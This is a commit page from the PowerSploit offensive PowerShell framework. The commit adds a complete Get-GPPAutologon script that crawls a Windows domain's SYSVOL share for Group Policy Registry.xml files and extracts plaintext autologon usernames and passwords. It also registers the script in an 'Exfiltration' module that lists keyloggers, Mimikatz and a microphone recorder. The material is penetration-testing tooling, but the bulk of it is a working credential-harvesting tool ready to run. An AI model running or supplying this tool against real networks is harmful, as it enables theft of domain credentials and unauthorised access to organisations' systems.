Skip to content

Commit de955ef

Browse files
author
Oddvar Moe
committed
Added Get-GPPAutologon.ps1
1 parent 262a260 commit de955ef

File tree

3 files changed

+149
-1
lines changed

3 files changed

+149
-1
lines changed

Exfiltration/Exfiltration.psd1

+2-1
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ FunctionsToExport = '*'
3131
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
3232
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
3333
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
34-
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
34+
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
35+
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
3536

3637
}

Exfiltration/Get-GPPAutologon.ps1

+139
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
function Get-GPPAutologon
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
7+
8+
PowerSploit Function: Get-GPPAutologon
9+
Author: Oddvar Moe (@oddvarmoe)
10+
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
11+
License: BSD 3-Clause
12+
Required Dependencies: None
13+
Optional Dependencies: None
14+
15+
.DESCRIPTION
16+
17+
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
18+
19+
.EXAMPLE
20+
21+
PS C:\> Get-GPPAutolgon
22+
23+
UserNames File Passwords
24+
--------- ---- ---------
25+
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
26+
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
27+
28+
29+
.EXAMPLE
30+
31+
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
32+
33+
password
34+
password12
35+
password123
36+
password1234
37+
password1234$
38+
read123
39+
Recycling*3ftw!
40+
41+
.LINK
42+
43+
https://support.microsoft.com/nb-no/kb/324737
44+
#>
45+
46+
[CmdletBinding()]
47+
Param ()
48+
49+
#Some XML issues between versions
50+
Set-StrictMode -Version 2
51+
52+
#define helper function to parse fields from xml files
53+
function Get-GPPInnerFields
54+
{
55+
[CmdletBinding()]
56+
Param (
57+
$File
58+
)
59+
60+
try
61+
{
62+
$Filename = Split-Path $File -Leaf
63+
[xml] $Xml = Get-Content ($File)
64+
65+
#declare empty arrays
66+
$Password = @()
67+
$UserName = @()
68+
69+
#check for password and username field
70+
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
71+
{
72+
$props = $xml.GetElementsByTagName("Properties")
73+
foreach($prop in $props)
74+
{
75+
switch ($prop.name)
76+
{
77+
'DefaultPassword'
78+
{
79+
$Password += , $prop | Select-Object -ExpandProperty Value
80+
}
81+
82+
'DefaultUsername'
83+
{
84+
$Username += , $prop | Select-Object -ExpandProperty Value
85+
}
86+
}
87+
88+
Write-Verbose "Potential password in $File"
89+
}
90+
91+
#put [BLANK] in variables
92+
if (!($Password))
93+
{
94+
$Password = '[BLANK]'
95+
}
96+
97+
if (!($UserName))
98+
{
99+
$UserName = '[BLANK]'
100+
}
101+
102+
#Create custom object to output results
103+
$ObjectProperties = @{'Passwords' = $Password;
104+
'UserNames' = $UserName;
105+
'File' = $File}
106+
107+
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
108+
Write-Verbose "The password is between {} and may be more than one value."
109+
if ($ResultsObject)
110+
{
111+
Return $ResultsObject
112+
}
113+
}
114+
}
115+
catch {Write-Error $Error[0]}
116+
}
117+
118+
try {
119+
#ensure that machine is domain joined and script is running as a domain account
120+
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
121+
throw 'Machine is not a domain member or User is not a member of the domain.'
122+
}
123+
124+
#discover potential registry.xml containing autologon passwords
125+
Write-Verbose 'Searching the DC. This could take a while.'
126+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
127+
128+
if ( -not $XMlFiles ) {throw 'No preference files found.'}
129+
130+
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
131+
132+
foreach ($File in $XMLFiles) {
133+
$Result = (Get-GppInnerFields $File.Fullname)
134+
Write-Output $Result
135+
}
136+
}
137+
138+
catch {Write-Error $Error[0]}
139+
}

README.md

+8
Original file line numberDiff line numberDiff line change
@@ -100,6 +100,10 @@ Logs keys pressed, time and the active window.
100100

101101
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
102102

103+
#### `Get-GPPAutologon`
104+
105+
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
106+
103107
#### `Get-TimedScreenshot`
104108

105109
A function that takes screenshots at a regular interval and saves them to a folder.
@@ -128,6 +132,10 @@ Displays Windows vault credential objects including cleartext web credentials.
128132

129133
Generates a full-memory minidump of a process.
130134

135+
#### 'Get-MicrophoneAudio'
136+
137+
Records audio from system microphone and saves to disk
138+
131139
## Mayhem
132140

133141
**Cause general mayhem with PowerShell.**

0 commit comments

Comments
 (0)